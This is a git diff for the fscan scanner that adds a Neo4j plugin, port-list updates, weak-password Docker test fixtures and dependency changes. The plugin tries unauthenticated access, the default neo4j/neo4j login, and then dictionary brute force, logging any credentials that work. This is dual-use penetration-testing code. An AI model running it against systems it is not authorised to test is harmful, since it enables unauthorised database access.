"telnet", "smb", "rdp", "vnc", "netbios", "ldap", "smtp", "imap", "pop3", "zabbix", "modbus", "rsync", }, ModeVul: { "ms17010", "smbghost", "smb2", diff --git a/Common/Ports.go b/Common/Ports.go index d7041f1..85a7f45 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -6,11 +6,11 @@ import ( ) var ServicePorts = "21,22,23,25,110,135,139,143,161,162,389,445,465,502,587,636,873,993,995,1433,1521,2222,3306,3389,5020,5432,5672,5671,6379,8161,8443,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613" -var DbPorts = "1433,1521,3306,5432,5672,6379,9042,9093,9200,11211,27017,61616" +var DbPorts = "1433,1521,3306,5432,5672,6379,7687,9042,9093,9200,11211,27017,61616" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018" var UDPPorts = "161" var AllPorts = "1-65535" -var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" +var MainPorts = "21,22,23,80,81,110,135,139,143,161,389,443,445,502,873,993,995,1433,1521,3306,5432,5672,6379,7001,7687,8000,8005,8009,8080,8089,8443,9000,9042,9092,9200,10051,11211,15672,27017,61616" func ParsePortsFromString(portsStr string) []int { var ports []int diff --git a/Core/Registry.go b/Core/Registry.go index 3fb3c1e..5468f21 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -139,6 +139,12 @@ func init() { ScanFunc: Plugins.CassandraScan, }) + Common.RegisterPlugin("neo4j", Common.ScanPlugin{ + Name: "Neo4j", + Ports: []int{7687}, + ScanFunc: Plugins.Neo4jScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Neo4j.go b/Plugins/Neo4j.go new file mode 100644 index 0000000..f8d0753 --- /dev/null +++ b/Plugins/Neo4j.go @@ -0,0 +1,102 @@ +package Plugins + +import ( + "fmt" + "github.com/neo4j/neo4j-go-driver/v4/neo4j" + "github.com/shadow1ng/fscan/Common" + "strings" + "time" +) + +// Neo4jScan 执行 Neo4j 服务扫描 +func Neo4jScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试无认证访问 + flag, err := Neo4jConn(info, "", "") + if flag && err == nil { + return err + } + + // 测试默认凭证 + flag, err = Neo4jConn(info, "neo4j", "neo4j") + if flag && err == nil { + return err + } + + // 尝试其他用户名密码组合 + for _, user := range Common.Userdict["neo4j"] { + for _, pass := range Common.Passwords { + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := Neo4jConn(info, user, pass) + if flag && err == nil { + return err + } + + errlog := fmt.Sprintf("[-] Neo4j服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["neo4j"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// Neo4jConn 尝试 Neo4j 连接 +func Neo4jConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造Neo4j URL + uri := fmt.Sprintf("bolt://%s:%s", host, port) + + // 配置驱动选项 + config := func(c *neo4j.Config) { + c.SocketConnectTimeout = timeout + } + + var driver neo4j.Driver + var err error + + // 尝试建立连接 + if user != "" || pass != "" { + // 有认证信息时使用认证 + driver, err = neo4j.NewDriver(uri, neo4j.BasicAuth(user, pass, ""), config) + } else { + // 无认证时使用NoAuth + driver, err = neo4j.NewDriver(uri, neo4j.NoAuth(), config) + } + + if err != nil { + return false, err + } + defer driver.Close() + + // 测试连接 + err = driver.VerifyConnectivity() + if err != nil { + return false, err + } + + // 连接成功 + result := fmt.Sprintf("[+] Neo4j服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "无需认证即可访问" + } + Common.LogSuccess(result) + return true, nil +} diff --git a/TestDocker/Neo4j/Dockerfile b/TestDocker/Neo4j/Dockerfile new file mode 100644 index 0000000..979b03b --- /dev/null +++ b/TestDocker/Neo4j/Dockerfile @@ -0,0 +1,9 @@ +FROM neo4j:4.4 + +ENV NEO4J_AUTH=neo4j/123456 +ENV NEO4J_dbms_security_procedures_unrestricted=apoc.* +ENV NEO4J_dbms_security_auth_enabled=true + +EXPOSE 7474 7687 + +CMD ["neo4j"] \ No newline at end of file diff --git a/TestDocker/Neo4j/docker-compose.yml b/TestDocker/Neo4j/docker-compose.yml new file mode 100644 index 0000000..7e2cd95 --- /dev/null +++ b/TestDocker/Neo4j/docker-compose.yml @@ -0,0 +1,11 @@ +version: '3' +services: + neo4j: + image: neo4j:4.4 + ports: + - "7474:7474" + - "7687:7687" + environment: + - NEO4J_AUTH=neo4j/123456 + - NEO4J_dbms_security_auth_enabled=true + container_name: neo4j-weak \ No newline at end of file diff --git a/go.mod b/go.mod index e701912..9b663e3 100644 --- a/go.mod +++ b/go.mod @@ -7,16 +7,21 @@ toolchain go1.23.3 require ( github.com/C-Sto/goWMIExec v0.0.1-deva.0.20210704154847-b8ebd6464a06 github.com/IBM/sarama v1.43.3 + github.com/Ullaakut/nmap v2.0.2+incompatible github.com/denisenkom/go-mssqldb v0.12.3 github.com/fatih/color v1.7.0 github.com/go-ldap/ldap/v3 v3.4.9 + github.com/go-resty/resty/v2 v2.16.2 github.com/go-sql-driver/mysql v1.8.1 + github.com/gocql/gocql v1.7.0 github.com/google/cel-go v0.13.0 github.com/google/gopacket v1.1.19 + github.com/gosnmp/gosnmp v1.38.0 github.com/hirochachacha/go-smb2 v1.1.0 github.com/jlaffaye/ftp v0.2.0 github.com/lib/pq v1.10.9 github.com/mitchellh/go-vnc v0.0.0-20150629162542-723ed9867aed + github.com/neo4j/neo4j-go-driver/v4 v4.4.7 github.com/rabbitmq/amqp091-go v1.10.0 github.com/satori/go.uuid v1.2.0 github.com/sijms/go-ora/v2 v2.5.29 @@ -35,7 +40,6 @@ require ( filippo.io/edwards25519 v1.1.0 // indirect github.com/Azure/go-ntlmssp v0.0.0-20221128193559-754e69321358 // indirect github.com/BurntSushi/toml v0.3.1 // indirect - github.com/Ullaakut/nmap v2.0.2+incompatible // indirect github.com/antlr/antlr4/runtime/Go/antlr v1.4.10 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/eapache/go-resiliency v1.7.0 // indirect @@ -43,13 +47,10 @@ require ( github.com/eapache/queue v1.1.0 // indirect github.com/geoffgarside/ber v1.1.0 // indirect github.com/go-asn1-ber/asn1-ber v1.5.7 // indirect - github.com/go-resty/resty/v2 v2.16.2 // indirect - github.com/gocql/gocql v1.7.0 // indirect github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect github.com/golang-sql/sqlexp v0.1.0 // indirect github.com/golang/snappy v0.0.4 // indirect github.com/google/uuid v1.6.0 // indirect - github.com/gosnmp/gosnmp v1.38.0 // indirect github.com/hailocab/go-hostpool v0.0.0-20160125115350-e80d13ce29ed // indirect github.com/hashicorp/errwrap v1.0.0 // indirect github.com/hashicorp/go-multierror v1.1.1 // indirect diff --git a/go.sum b/go.sum index ac099fa..83a4b47 100644 --- a/go.sum +++ b/go.sum @@ -38,8 +38,10 @@ github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932 h1:mXoPYz/Ul5HYEDvkta6I8/rnYM5gSdSV2tJ6XbZuEtY= github.com/bitly/go-hostpool v0.0.0-20171023180738-a3a6125de932/go.mod h1:NOuUCSz6Q9T7+igc/hlvDOUdtWKryOrtFyIVABv/p7k= github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84= +github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869 h1:DDGfHa7BWjL4YnC6+E63dPcxHo2sUxDIu8g3QgEJdRY= github.com/bmizerany/assert v0.0.0-20160611221934-b7ed37b82869/go.mod h1:Ekp36dRnpXw/yCqJaO+ZrUyxD+3VXMFFr56k5XYrpB4= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= @@ -69,6 +71,7 @@ github.com/fortytw2/leaktest v1.3.0 h1:u8491cBMTQ8ft8aeV+adlcytMZylmA5nnwwkRZjI8 github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.1/go.mod h1:T3375wBYaZdLLcVNkcVbzGHY7f1l/uK5T5Ai1i3InKU= github.com/geoffgarside/ber v1.1.0 h1:qTmFG4jJbwiSzSXoNJeHcOprVzZ8Ulde2Rrrifu5U9w= github.com/geoffgarside/ber v1.1.0/go.mod h1:jVPKeCbj6MvQZhwLYsGwaGI52oUorHoHKNecGT85ZCc= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= @@ -89,6 +92,7 @@ github.com/go-resty/resty/v2 v2.16.2/go.mod h1:0fHAoK7JoBy/Ch36N8VFeMsK7xQOHhvWa github.com/go-sql-driver/mysql v1.8.1 h1:LedoTUt/eveggdHS9qUFC1EFSa8bU2+1pZjSRpvNJ1Y= github.com/go-sql-driver/mysql v1.8.1/go.mod h1:wEBSXgmK//2ZFJyE+qWnIsVGmvmEKlqwuVSjsCm7DZg= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/gocql/gocql v1.7.0 h1:O+7U7/1gSN7QTEAaMEsJc1Oq2QHXvCWoF3DFK9HDHus= github.com/gocql/gocql v1.7.0/go.mod h1:vnlvXyFZeLBF0Wy+RS8hrOdbn0UWsWtdg07XJnFxZ+4= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= @@ -107,7 +111,14 @@ github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFU github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= github.com/golang/snappy v0.0.4 h1:yAGX7huGHXlcLOEtBnF4w7FQwA26wojNCwOYAEhLjQM= github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= @@ -118,6 +129,8 @@ github.com/google/cel-go v0.13.0 h1:z+8OBOcmh7IeKyqwT/6IlnMvy621fYUqnTVPEdegGlU= github.com/google/cel-go v0.13.0/go.mod h1:K2hpQgEjDp18J76a2DKFRlPBPpgRZgi6EbnpDgIhJ8s= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= @@ -175,6 +188,7 @@ github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2p github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc= github.com/hirochachacha/go-smb2 v1.1.0 h1:b6hs9qKIql9eVXAiN0M2wSFY5xnhbHAQoCwRKbaRTZI= github.com/hirochachacha/go-smb2 v1.1.0/go.mod h1:8F1A4d5EZzrGu5R7PU163UcMRDJQl4FtcxjBfsY8TZE= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358 h1:hVXNJ57IHkOA8FBq80UG263MEBwNUMfS9c82J2QE5UQ= github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358/go.mod h1:qBE210J2T9uLXRB3GNc73SvZACDEFAmDCOlDkV47zbY= github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5 h1:ZcsPFW8UgACapqjcrBJx0PuyT4ppArO5VFn0vgnkvmc= @@ -238,7 +252,18 @@ github.com/modocache/gover v0.0.0-20171022184752-b58185e213c5/go.mod h1:caMODM3P github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/neelance/astrewrite v0.0.0-20160511093645-99348263ae86/go.mod h1:kHJEU3ofeGjhHklVoIGuVj85JJwZ6kWPaJwCIxgnFmo= github.com/neelance/sourcemap v0.0.0-20200213170602-2833bce08e4c/go.mod h1:Qr6/a/Q4r9LP1IltGz7tA7iOK1WonHEYhu1HRBA7ZiM= +github.com/neo4j/neo4j-go-driver/v4 v4.4.7 h1:6D0DPI7VOVF6zB8eubY1lav7RI7dZ2mytnr3fj369Ow= +github.com/neo4j/neo4j-go-driver/v4 v4.4.7/go.mod h1:NexOfrm4c317FVjekrhVV8pHBXgtMG5P6GeweJWCyo4= +github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= +github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= +github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= +github.com/onsi/gomega v1.16.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pierrec/lz4/v4 v4.1.21 h1:yOVMLb6qSIDP67pl/5F7RepeKYu/VmTyEXvuMI5d9mQ= @@ -391,6 +416,7 @@ golang.org/x/mod v0.18.0 h1:5+9lSbEzPSdWkH32vYPBwEpX8KwDbM52Ud9xBUvNlb0= golang.org/x/mod v0.18.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= +golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -404,9 +430,12 @@ golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20210428140749-89ef3d95e781/go.mod h1:OJAsFXCWl8Ukc7SiCT/9KSuxbyM7479/AVlXFRxuMCk= golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= +golang.org/x/net v0.0.0-20210614182718-04defd469f4e/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= @@ -436,6 +465,7 @@ golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -447,13 +477,19 @@ golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= @@ -488,6 +524,8 @@ golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= +golang.org/x/time v0.6.0 h1:eTDhh4ZXt5Qf0augr54TN6suAUudPcawVZeIAPU7D4U= +golang.org/x/time v0.6.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM= golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= @@ -509,6 +547,7 @@ golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtn golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200130002326-2f3ba24bd6e7/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= +golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod 